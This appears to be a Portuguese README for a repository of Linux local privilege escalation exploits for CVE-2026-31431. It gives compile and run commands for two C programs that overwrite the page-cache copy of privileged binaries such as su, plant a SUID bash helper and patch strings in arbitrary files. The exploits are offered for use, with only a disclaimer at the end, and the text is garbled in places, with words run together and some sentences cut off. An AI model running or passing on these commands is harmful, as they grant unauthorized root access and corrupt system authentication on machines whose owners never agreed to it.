
Linux exploits locais de escalonamento de privilégios para CVE-2026-31431, incluindo fluxos de trabalho brutos e recuperáveis.
Estas implementações de LPE para Linux são destrutivas em tempo de execução.
Elas sobrescrevem a visão do page-cache em tempo real de alvos privilegiados, tais como:
supatchIsso geralmente não é uma edição persistente normal no disco, mas altera o comportamento em tempo de execução e pode afetar imediatamente o fluxo de autenticação/privilegios.
Este repositório não fornece um modo root totalmente não destrutivo.
copyfail_raw_su_root.ccopyfail_portable_lpe.cAmbos são exclusivos para Linux.
Binários pré-compilados para arquiteturas adicionais podem ser adicionados em atualizações futuras.
gcc -O2 -s copyfail_portable_lpe.c -o copyfail_portable_lpe
gcc -O2 -s copyfail_raw_su_root.c -o copyfail_raw_su_root
Para copyfail_portable_lpe.c, executar:
./copyfail_portable_lpe
usa auto-revert por padrão.
Isso significa que ele tentará primeiro o fluxo recuperável:
Se o modo recuperável falhar, o programa imprime dicas sobre modos alternativos.
Variante bruta mínima:
susu alvo./copyfail_raw_su_root
Variante geral com múltiplos modos.
Modo explícito sem reversão:
./copyfail_portable_lpe auto
Modo recuperável primeiro:
./copyfail_portable_lpe
./copyfail_portable_lpe auto-revert
Cria um helper SUID bash sem reversão:
./copyfail_portable_lpe helper ./.rootsh
Cria um helper e, em seguida, tenta restaurar os alvos com patch aplicado:
./copyfail_portable_lpe helper-revert ./.rootsh
Substituição de string de mesmo comprimento em um arquivo escolhido:
./copyfail_portable_lpe patch <file> <find> <replace>
Caminho bruto de patch do su:
./copyfail_portable_lpe raw-su-elf
auto-revert e helper-revert ainda são destrutivos durante a exploração.
Eles são apenas "recuperáveis" no sentido de que:
Portanto, isso é destrutivo-e-depois-reverte, não verdadeiramente não destrutivo.
auto / auto-revert / helper / helper-revert / patch: orientados para Linux, menos acoplados à arquitetura da CPU quando compilados no alvoraw-su-elf: somente Linux x86_64Este repositório é fornecido para:
Não use estes materiais contra sistemas, contas ou redes sem permissão explícita do proprietário.
O autor e os colaboradores fornecem este conteúdo como está, sem garantia, e não aceitam responsabilidade por uso indevido, danos, perda de dados, interrupção de serviços ou consequências legais resultantes do uso do código ou das técnicas neste repositório.